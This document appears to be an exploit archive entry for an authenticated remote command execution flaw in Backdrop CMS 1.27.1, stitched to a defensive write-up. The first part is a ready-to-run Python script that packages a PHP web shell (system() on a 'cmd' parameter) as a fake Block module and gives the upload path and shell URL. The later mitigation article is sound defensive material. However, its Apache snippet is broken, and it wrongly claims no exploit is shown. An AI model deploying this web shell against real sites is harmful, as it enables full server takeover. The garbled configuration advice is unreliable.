Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
# Exploit Title: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
# Date: 04/27/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://backdropcms.org/
# Software Link: https://github.com/backdrop/backdrop/releases/download/1.27.1/backdrop.zip
# Version: latest
# Tested on: MacOS
import os
import time
import zipfile
def create_files():
info_content = """
type = module
name = Block
description = Controls the visual building blocks a page is constructed
with. Blocks are boxes of content rendered into an area, or region, of a
web page.
package = Layouts
tags[] = Blocks
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x
configure = admin/structure/block
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
"""
shell_info_path = "shell/shell.info"
os.makedirs(os.path.dirname(shell_info_path), exist_ok=True) # Klasörüoluşturur
with open(shell_info_path, "w") as file:
file.write(info_content)
shell_content = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
"""
shell_php_path = "shell/shell.php"
with open(shell_php_path, "w") as file:
file.write(shell_content)
return shell_info_path, shell_php_path
def create_zip(info_path, php_path):
zip_filename = "shell.zip"
with zipfile.ZipFile(zip_filename, 'w') as zipf:
zipf.write(info_path, arcname='shell/shell.info')
zipf.write(php_path, arcname='shell/shell.php')
return zip_filename
def main(url):
print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
time.sleep(3)
print("Evil module generating...")
time.sleep(2)
info_path, php_path = create_files()
zip_filename = create_zip(info_path, php_path)
print("Evil module generated!", zip_filename)
time.sleep(2)
print("Go to " + url + "/admin/modules/install and upload the " +
zip_filename + " for Manual Installation.")
time.sleep(2)
print("Your shell address:", url + "/modules/shell/shell.php")
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python script.py [url]")
else:
main(sys.argv[1]) Backdrop CMS 1.27.1 — Authenticated Remote Command Execution (RCE): Analysis, Detection, and Mitigation
Executive summary
Backdrop CMS 1.27.1 was reported to contain an authenticated remote command execution (RCE) risk related to how contributed modules/packages are accepted and installed by the platform. An attacker with the ability to install modules (a privileged authenticated role) can introduce executable PHP artifacts into the webroot, which can lead to full site compromise. This article explains the vulnerability class, risk impact, safe detection techniques, and practical defensive measures to prevent and remediate such issues.
What type of vulnerability is this?
This is an authenticated file upload / module-installation vulnerability resulting in server-side code execution. The core problem is not simply a programming error, but an unsafe trust model: modules or archives uploaded by an authenticated user are allowed to introduce executable PHP files into a web-accessible directory without adequate validation, sanitization, or execution controls.
Why this is dangerous
- Privilege requirement: The attacker must be authenticated with module-install privileges. However, many sites have multiple staff accounts or weak role separation, which increases risk.
- Execution vector: Uploaded PHP files placed in web-accessible locations can be invoked via HTTP, enabling arbitrary command execution (system(), exec(), passthru(), etc.).
- Impact: Full site compromise, data exfiltration, persistence (backdoors), privilege escalation to other infrastructure, and potential pivoting within a network.
High-level vulnerability analysis (conceptual)
At a high level the vulnerability involves three unsafe conditions:
- Allowing arbitrary archive contents during a module/extension installation process, including executable files.
- Insufficient server-side validation of archive members (file extensions, content types, and metadata).
- Lack of runtime containment (webserver is allowed to execute files under the modules directory).
Safe, defensive code examples
The following examples show defensive techniques — safe extraction from archives and webserver configuration to block PHP execution in contributed module directories. These snippets are for defensive hardening and detection; they do not demonstrate or reproduce an exploit.
# Python: safer ZIP extraction (defensive)
import zipfile
import os
def is_safe_path(base_dir, path):
# Prevent zip-slip by resolving absolute paths and ensuring containment.
abs_base = os.path.abspath(base_dir)
abs_path = os.path.abspath(os.path.join(base_dir, path))
return abs_path.startswith(abs_base + os.sep) or abs_path == abs_base
def extract_safe(zip_path, dest_dir, deny_extensions=('.php','.phtml','.php3')):
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.namelist():
# Normalize and skip suspicious names
if member.endswith('/') or member.startswith('__MACOSX/'):
continue
if any(member.lower().endswith(ext) for ext in deny_extensions):
raise ValueError("Archive contains denied executable file types: " + member)
if not is_safe_path(dest_dir, member):
raise ValueError("Archive contains path traversal entry: " + member)
# If checks pass, extract
zf.extractall(dest_dir)
Explanation: This defensive pseudocode checks each entry of a ZIP file before extraction to prevent two common problems: (1) path traversal attacks (zip-slip) by resolving absolute paths and ensuring every entry is contained within the intended destination, and (2) disallowing known executable extensions (like .php) from being extracted. In a production environment you should expand checks (MIME sniffing, content scanning, allowlist policy) and log/alert on rejected archives.
# Apache/.htaccess: prevent PHP execution in a directory (defensive)
# Place in sites//modules/.htaccess or equivalent location
Require all denied
# For older Apache versions:
#
# Order allow,deny
# Deny from all
#
Explanation: This server-level rule denies access to files with PHP-related extensions in the modules directory, preventing the webserver from serving or executing them. Blocking execution is a critical defensive layer: even if an attacker manages to place a PHP file on disk, they cannot run it through HTTP if server configuration forbids execution. Equivalent configuration should be added for all contributed directories and adjusted for the specific webserver in use.
# Nginx: disable PHP execution in a specific location block (defensive)
location ~ ^/sites/.*/modules/ {
# Deny PHP execution in modules directory
location ~ \.php$ {
deny all;
return 404;
}
}
Explanation: For Nginx, the nested location block denies requests to any .php file under the modules path, returning a 404. Use this pattern consistently across directories where PHP execution is not required.
Detection and indicators of compromise (IoCs)
When investigating whether a site was abused via this class of vulnerability, focus on the following signals:
- New module installations or uploaded ZIP archives outside normal maintenance windows.
- Presence of unexpected PHP files inside contributed or custom module directories.
- HTTP requests to module paths that result in command-like parameters (e.g., requests containing suspicious query strings, base64 payloads, or repeated POSTs).
- Server logs showing execution of PHP functions commonly used by webshells (system, exec, passthru, shell_exec, proc_open).
- File system timestamps that do not match deployment times, or files with odd ownership or permissions.
- Outgoing network connections from the web server to unknown IPs after new module installs.
Forensic checklist (immediate response)
- Isolate the affected host(s) from the network or restrict outbound connectivity for containment.
- Identify and preserve logs (web server, PHP, OS) and back up relevant filesystem snapshots for analysis.
- Search for recently added files in modules, themes, or other web directories and inspect their contents (look for eval/base64_decode/system calls).
- Rotate credentials for administrative accounts, API keys, and any exposed secrets stored on the server.
- Restore from a known good backup if a root cause or full remediation cannot be guaranteed.
Short‑term mitigations
- Apply any vendor-supplied security update immediately. Check Backdrop CMS security advisories and upgrade to a patched release.
- Restrict module/extension installation to a minimal set of administrators. Remove install permissions from nonessential roles.
- Harden webserver configuration to prevent PHP execution in user-contributed directories (see examples above).
- Implement file integrity monitoring (FIM) to detect new or modified files under webroot directories.
- Use a web application firewall (WAF) to block known webshell payloads and suspicious patterns.
Long‑term remediation and secure development best practices
- Adopt a strict allowlist for uploaded archive contents — allow only expected file types and structures, and reject archives that contain any executable scripts.
- Perform server-side content validation and MIME-type checks rather than relying solely on file extensions.
- Remove direct execution of shell commands from application code where possible. When system interaction is required, constrain inputs, use safe APIs, and run with minimal privileges.
- Introduce multiple defensive layers: secure-by-default webserver settings, authentication hardening, monitoring, and runtime application protection.
- Keep a documented incident response and recovery plan that includes backups, forensic capture, and credential rotation procedures.
Example remediation playbook (concise)
| Step | Action |
|---|---|
| 1 | Patch Backdrop to the vendor-recommended fixed version immediately. |
| 2 | Temporarily disable module installation UI if an immediate patch is not available. |
| 3 | Scan for and remove unexpected PHP files under modules/themes; preserve copies for forensics. |
| 4 | Rotate all administrative passwords and any credentials stored on the server. |
| 5 | Harden webserver to block PHP execution in contributed directories and enable logging/monitoring. |
Responsible disclosure and coordination
If you discover a vulnerability in Backdrop or any other platform, follow responsible disclosure practices:
- Contact the vendor through their official security reporting channels and provide reproducible, minimal test cases (do not share exploit code publicly).
- Coordinate disclosure timelines (e.g., give the vendor reasonable time to patch before public disclosure).
- Share mitigation and detection guidance with downstream users even if a full patch is pending.
References and further reading
- Vendor homepage and security advisory pages — always check the official Backdrop CMS site and security advisories for the most recent patches and guidance.
- OWASP guidance on file upload security and secure configuration.
- Web server documentation for Apache and Nginx on disabling script execution per directory.
Final notes
Authenticated RCE via module uploads is a high-risk class of vulnerability because it combines privilege misuse with the ability to write executable code into the webroot. Protecting against it requires a mix of access control, secure upload handling, runtime containment (server configuration), and vigilant monitoring. Prioritize patching, restrict module install rights, and implement the defensive configuration changes described here to reduce exposure.